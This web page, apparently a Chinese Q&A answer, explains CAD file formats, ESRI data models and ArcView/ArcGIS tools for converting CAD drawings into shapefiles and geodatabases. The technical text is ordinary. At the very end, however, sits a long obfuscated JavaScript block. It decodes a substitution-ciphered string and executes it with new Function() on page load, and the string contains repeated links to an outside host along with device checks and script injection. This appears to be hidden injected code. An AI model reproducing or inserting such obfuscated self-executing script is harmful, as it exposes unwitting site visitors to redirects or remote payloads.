推荐回答(3个)
CAD和GIS的使用是不同的,然而需要在不同的环境中共享和重用数据是重要的。CAD文件作为GIS数据集合中的一个重要来源,本文将就CAD到ESRI GIS软件的转换介绍一些相关的工具和方法。
CAD和GIS的使用是不同的,然而需要在不同的环境中共享和重用数据是重要的。CAD文件作为GIS数据集合中的一个重要来源,本文将就CAD到ESRI GIS软件的转换介绍一些相关的工具和方法。 定义
首先来看看相关的数据类型说明。 CAD文件
常见的CAD文件有AutoCAD?的线画文件(.dwg),MicroStation?的设计文件(.dgn),Autodesk的线画交换格式(DXF),对于一个MicroStation文件这个文件扩展名是可变的。
CAD文件是由诸如颜色、线型、线宽、符号等静态图形特征组织后的图层集合,其图层并没有象GIS中的图层那样组织严密,实体/元素都包含在一个单一的文件中,属性数据的主要描述依*图层和注记。不同的CAD软件版本对不同版本的文件格式有各自的实现(例如AutoCAD 13v,14v,2000v的线画是彼此不同的),这意味着你在进行数据处理时需要注意相关的版本。
DXF文件通常是作为一个ASCII文件,,也可以存为一个二进制文件方式。CAD文件除了存储静态的图形数据,也可以通过编码对应属性的方式来存储属性数据。在AutoCAD和Microstation中提供了方法用来操作CAD对象上的相关属性数据,这些方法中通常都有相关的标准,但有少量是用户自定义的模式,ESRI软件对这些自定义的属性模式的访问是有限制的。 Coverages
Coverages是一种矢量文件格式,几何和空间拓扑关系存储在二进制文件中,与之相关的属性数据则被存放在INFO表或RDBMS中(PC ArcInfo存储在DBF表中)
Coverages是对要素类组织后(feature class)的集合,每个要素类都是一些点,线(arcs),面或者annotation(文本)的集合,用于描述地理要素的Coverage要素类包括point,node,route system,section,polygon和region。一个或多个coverage要素被用于构造地理要素,例如arcs和node被用于构造街道中心线,tic,annotation,link,boundary要素类提供了对coverage数据管理和浏览的支持。 Shapefiles
Shapefile也是一种矢量文件格式,但和coverage不同的是shapefile文件不存储拓扑信息,因此相对其它数据格式要较少地占用存储空间,在显示和访问效率上要快许多。通常一个shapefile由一个主文件,索引文件和DBASE文件组成,在几何和属性基于记录号一对一对应,其数据格式ESRI已经公开。 ArcSDE简单要素层
ArcSDE将要素组织为要素类,一个要素类是一个/多个具有相同几何类型要素的集合,在SDE?3.0时的提法称为“layer”。一个要素是一个空间对象(例如一条道路)的几何描述,定义为一系列的X,Y坐标序列和几何的属性,要素被存储在表中一行就是一个要素。ArcSDE通过一个或多个表实现一个要素类,这取决于DBMS存储集合的列类型。ArcSDE不改变已有的DBMS功能或影响当前的应用程序,,它只是简单地在表中增加了一个空间列并为客户端应用程序提供了工具(C/JAVA API),实际上,它使用和补充了基本的DBMS功能。在ArcSDE中每个几何类型都有一个严格的验证规则集,用来检测一个要素在存储前是否几何化正确,在ArcSDE开发帮助中有对每种几何类型验证规则的描述。 GEODATABASE
一个geodatabase是DBMS中的一个空间数据知识库,它包含了矢量数据,栅格数据,表以及其它GIS对象。Geodatabase简称为地理数据库,是建立在简单要素层模型基础之上的。Geodatabase模型支持对象-关系矢量数据模型,在这个模型中实体被描述为对象,除具有属性外,还具有对象行为和对象间的关系。geodatabase支持在系统中创建多种地理对象模型,对象类型包括简单对象,地理要素(有位置的对象),几何网络和平面拓扑(对象和其它要素的空间关系)。Geodatabase模型允许你在对象中定义关系,使用这些规则来保持数据的完整性和一致性,这也是和它简单要素层的一个重要区别。
最简单的geodatabase模型是一系列独立要素层集合,每个要素层简单地包含点,线,多边形或注记,这和SDE3的SDE layers和ArcView的shapefile如何实现很相似。一个geodatabase可以由一个或多个要素类组成,而一个要素类则是一个或多个具有相同几何类型的要素集合,扩展的规则和行为被储存在一个附加表中,并且也由ArcSDE来管理。 集成
对于使用和共享CAD数据ESRI提供了不同的策略,CAD/GIS集成的一种方式是将CAD数据作为GIS数据集,直接从本地文件读取CAD线画并作为一个有效的GIS数据源。
ArcView GIS 3.X(CAD Reader Extension)
ArcView GIS有工具来读取CAD文件作为有效的GIS数据源,这些工具直接读一个CAD文件到磁盘。当显示数据时,一个CAD文件被看作ArcView3环境中的shapefile GIS数据源。这个CAD读扩展支持以下的CAD图形特征和扩展的CAD
属性:颜色,线型,级别/图层,块名/cell名,文本值,文件位置/handle,MSLINK,cell或块属性,线宽,高程和实体类型等。一个独立的线画在ArcView中被作为一个或多个主题,因为ArcView GIS只能工作在相同的几何类型主题中,它需要从CAD文件中提取四个有效几何类型(点,线,多边行,注记)来在ArcView中作为一个主题显示,每个CAD线画可以象其它主题一样在ArcView中被多次打开,这样就可以对CAD文件中的不同对象进行显示控制(如对一个线画文件中的道路,水管,水阀等根据需要进行符号化显示),类似的方法可以对AutoCAD或Microstation图层的可见性进行控制。
AutoCAD的块和Microstation的cell可被作为点,线或多边形几何的一个组成,当被作为点几何或它们的组成几何显示时,块属性和cell标记值将自动地包含在一个虚拟表中。
ArcGIS(CAD要素类和CAD线画层)
ArcMap也可以直接浏览CAD文件。ArcGIS有两种方法来对待此信息,第一种途径是CAD要素数据对象,这和ArcView 3.x中的CAD Reader Extension很相似。另外一种是作为一个单独的层显示CAD线画,用ArcGIS线画层你可以控制图层显示和查询对象。AutoCAD块和Microstation cell可被作为点或者点,线,多边形几何的组成来显示,块属性和cell标记值将自动包含在一个虚拟表中(当你在ArcMap中查找一个CAD对象时可以观察到)。在ArcGIS中将CAD线画作为一个CAD线画层打开时,实体CAD线画被作为一个映射层,因此它的符号是静态的不能被修改,只能用于ArcGIS分析或查找。
当CAD线画被作为要素数据对象时,ArcMap创建了一个CAD要素类,可以对该要素类进行查询和分析,使用ArcGIS中标准的符号编辑器来编辑要素符号。在ArcMap中,地理属性被作为一个图层来表达,当从CAD线画创建图层时,可以选择要表达的线画层。例如,你可能只想在地图上看到街道,街道名称。 在ArcGIS中可以直接访问多种CAD格式,包括Auto CAD的dwg(到2000版本),所有ASCII、二进制形式的DXF,dgn文件(到版本7)。此外,包含三维坐标信息的话也可以象在ArcMap中一样在ArcScene环境中显示。 ArcSDE CAD Client ArcSDE CAD客户端是ArcSDE的空间数据客户端,允许用户依*ArcSDE在AutoCAD或Microstation环境中存放或取出数据并进行编辑。CAD客户端能够通过多个ArcSDE服务同时访问不同DBMS中的数据,例如在同一时间访问一个ArcSDE for coverage管理的ArcInfo coverage数据,一个ArcSDE for Oracle管理的空间数据库,一个ArcSDE for SQLServer数据库,也能从ArcGIS Geodatabase中的简单要素层中访问数据。
相 反地,当CAD数据被存储进一个DBMS时,GIS用户可以使用ArcSDE客户端(如MO,ArcGIS等)访问CAD数据的几何而不需要任何转换,每个CAD对象有一个翻译后的几何并作为一个有效的ArcSDE几何要素被存储。一些复杂的CAD几何,如椭圆,圆,块/cell等被翻译成一些ArcSDE客户端应用程序可以访问的几何。 CAD客户端存储CAD对象的一个二进制副本,它包括CAD对象的一切,象图形特征、块定义、块属性、标记、cell、x-data和其它自定义数据。一个CAD客户端用户可以访问所有ArcSDE管理的数据源,不管它在什么地方存放;同样,GIS用户也可以直接访问CAD客户端用户存储的CAD数据的几何,包括ArcIMS?软件。 ArcSDE CAD客户端访问ArcSDE for Coverages和Geodatabase只提供了读许可。
数据转换 CAD数据经常需要经过组织和处理后才能在GIS应用程序中可用,ESRI提供了不同的转换工具来帮助用户在GIS和CAD间更好地使用数据。 ArcView GIS 3.x-保存为shapefile ArcView GIS 3.X(CAD Reader Extension)有一个内嵌的集成工具,根据属性/空间选择标准从一个CAD文件中选择一组空间要素,选中的对象集可以导出为shapefile。使用这个功能,ArcView 3.x能够转换CAD文件的CAD对象到ArcView GIS shapefile格式中。
ArcGIS ArcCatalog-Simple Data Loader 在ArcCatalog中选中一个要素类并右击鼠标选择选项时就打开了Simple Data Loader向导工具,该工具提供了增加数据到已有要素类的方法。按照向导提示,你可以选择一个要导入的CAD数据源,然后向导将允许你映射CAD图形属性值到已有的数据库字段。另外该工具还提供了查询功能用来对导入源实体进行过滤,然后选中的信息导被增加到要素类中。在运用该工具前,地理数据库的要素类必须事先存在。 ArcGIS:ArcMap-Export Data
从ArcMap中使用Export Data工具,一个选中的CAD要素集可以被导出为shapefile或导出进一个空的geodatabase要素类中。在ArcMap中选择要导出的CAD要素层,点击鼠标右键选择Export菜单,缺省的保存方式为shapefile类型。在ArcMap中CAD文本的转换在操作上有些不同,因为ArcMap中的CAD线画文本被作为一个混合的coverage annotation类型显示,因此必须使用转换coverage annotation功能来取得CAD文本,导入作为geodatabase annotation。
这个工具没有在ArcMap标准工具条显示,需要你在从Label菜单选择加入到你定义的界面上。
ArcGIS:ArcMap-裁剪和粘贴
加载数据到geodatabase要素类的另外一条途径是在ArcMap编辑会话期间使用裁剪和粘贴功能,然后就可以将选中的数据一个具有同样几何类型的
geodatabase要素类中。该方法和ArcCatalog-Simple Data Loader都允许你往一个已有的要素类中增加数据。
ArcGIS:ArcToolbox-CAD到Geodatabase转换工具
ArcGIS提供了一个CAD到Geodatabase转换工具来转换CAD数据到新的geodatabase要素类中,该工具在ArcToolbox和ArcCatalog中都是可用的。ArcToolbox转换工具允许你定义一个查询来选择CAD对象,然后转换并保存查询结果集到一个新的geodatabase要素类中。不象ArcMap中使用的方法保存数据是到一个已有的geodatabase要素类中,ArcToolbox的转换工具将创建一个新的要素类作为转换过程的一部分,这样一个包含多种图形特征的CAD文件全部导出时会创建多个要素类。如果需要将多个线画转出到一个geodatabase的要素类中,你需要在ArcMap中使用Geoprocessing Wizard来对要素类进行合并。 使用CAD to Geodatabase Translator功能,CAD文本将被转换到一个点要素类中。在CAD要素上的变化曲线信息在转换进geodatabase被保留,CAD几何特征和块/cell属性也在转换过程中被保留。 ArcSDE CAD Client
CAD客户端也可以用于数据转换,在CAD数据到ArcSDE管理的DBMS存储过程中,CAD客户端工具将翻译没个CAD对象的几何并产生相应的ArcSDE要素,而其它
ArcSDE客户端可以直接浏览这些ArcSDE要素不需要转换。
移植CAD到ArcGIS
关于从CAD移植到ArcGIS,通常包括两方面的内容:一是CAD到ArcGIS数据的转换,二是CAD到ArcGIS应用的转换。从CAD数据到ArcGI的转换,前面已经做了介绍。因为ArcGIS Geodatabase模型是建立在简单要素层基础之上的,所以CAD到Geodatabase数据的转换通常是先转为简单要素层,之后在按照Geodatabase模型的定义进行要素类组织合并,定义域,子类型,关系,几何网络等规则。从CAD到ArcGIS应用的转换目前主要集中在数据的原始表现上,因为要用到ArcGIS强大的功能必然要对CAD数据进行转换,但也因此以前在CAD环境下的看到数据在ArcGIS环境下“变了样子”,这主要由于各自系统对数据表现方式和相关符号库的不同,数据本身并没有丢失。此问题的解决目前主要集中在两个方法,一种是程序实现不同系统符号库的自动转换,在数据转换时完成相应符号库的转入。另一种是对数据进行前期处理,个人觉得这种方法更具有现实性和易操作性一些。这就是先对CAD数据进行编码处理工作,使CAD符号能够根据编码进行区分,然后利用ArcGIS强大的符号编辑器重新制作CAD相关的符号,之后在ArcGIS应用中书写程序根据编码规则匹配相关的ArcGIS符号文件进行显示和编辑等。
CAD转ARCGIS方法:
1、先把CAD图进行整理,把不要的元素删掉;
2、把CAD图改为英文名字,并放在英文路径下;
3、打开GIS,导入整理过的CAD图;
4、导出POLYLINE层为SHAPE文件,OK。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();